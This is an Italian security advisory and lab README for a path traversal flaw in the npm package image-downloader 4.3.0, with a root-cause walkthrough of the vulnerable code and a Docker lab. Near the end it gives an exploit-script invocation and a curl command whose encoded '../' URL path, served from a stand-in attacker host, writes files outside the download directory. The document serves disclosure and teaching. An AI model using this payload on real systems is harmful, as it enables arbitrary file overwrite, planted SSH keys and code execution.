Advisory e PoC per CVE-2026-103648, un path traversal (CWE-22) in image-downloader 4.3.0 che consente la scrittura arbitraria di file, con analisi della causa principale, diff della patch e laboratorio Docker.
image-downloader
Scoperta da: Amirhossein Roustaei (@EterNullSec) — Eternull Security
📖 Analisi tecnica completa: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal
⚠️ Solo a scopo didattico. Questo repository documenta una vulnerabilità divulgata in modo responsabile. Tutto il codice PoC è destinato esclusivamente ad attività di ricerca e test di sicurezza autorizzati in ambienti di laboratorio isolati. Non utilizzare contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta ai test.
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-103648 |
| Voce NVD | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| Punteggio CVSS v3.1 | 9.1 Critico — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Limitazione impropria di un percorso a una directory ristretta |
| Pacchetto | image-downloader (npm) di demsking |
| Download settimanali npm | ~11.000 (~38.000/mese) — fonte |
| Versioni interessate | < 4.3.1 (tutte le versioni incluse 4.3.0) |
| Versione corretta | 4.3.1 |
| Assegnato da | GitLab |
| Pubblicato | 2026-10-02 |
| Segnalatore | Amirhossein Roustaei (@EterNullSec), Eternull Security |
La vulnerabilità risiede nella logica di estrazione del nome file di [email protected]. Questo è il codice sorgente effettivo della versione interessata (index.js, estratto direttamente dal pacchetto npm pubblicato):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) viene chiamato sul pathname dell'URL ancora codificato in percentuale. Una sequenza come %2e%2e%2fpwned.sh non contiene alcun / letterale, quindi path.basename() tratta l'intera stringa come un unico nome di file e la restituisce invariata — non viene rimosso nulla.decodeURIComponent(). È questo il passaggio che riconverte %2e%2e%2f in un ../ letterale — ma ormai ha già superato il passaggio di basename che avrebbe dovuto sanificarlo.path.join(options.dest, decodedBasename) viene chiamato con una stringa che ora contiene un segmento ../ reale. path.join() normalizza .. allo stesso modo in cui farebbe cd .. — quindi il percorso di scrittura finale si risolve in una posizione al di fuori di options.dest.In breve: il codice decodifica il nome del file nel modo giusto, ma nell'ordine sbagliato rispetto a path.basename(). Decodifica-poi-basename è sicuro; basename-poi-decodifica non lo è.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
Questo laboratorio dimostra il meccanismo della vulnerabilità end-to-end in un unico script per facilità di riproduzione, ma vale la pena enunciare esplicitamente il modello di attacco nel mondo reale:
download.image({ url, dest }) di image-downloader con un valore url che non controlla pienamente — ad esempio un URL inviato da un utente (funzionalità di importazione avatar/immagini), estratto da un payload di webhook, o letto da un feed RSS/contenuti.url della vittima, e controlla la componente di percorso di quell'URL — il che è sufficiente da solo, poiché il traversal risiede nel percorso dell'URL (%2e%2e%2f...), non nel corpo della risposta.authorized_keys, o un eseguibile che l'app esegue successivamente).In exploit/exploit.py, i ruoli di attaccante e vittima sono collassati in un unico script per comodità del laboratorio (esso avvia sia la richiesta al server "vittima" sia il server del payload controllato dall'attaccante). In uno scenario di sfruttamento reale queste sono due parti separate e non correlate — il PoC è strutturato in questo modo puramente affinché la vulnerabilità sia riproducibile con un singolo comando.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
Il server vulnerabile sarà disponibile all'indirizzo http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Oppure manualmente con curl (il traversal è nel path dell'URL, non nel corpo della risposta):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"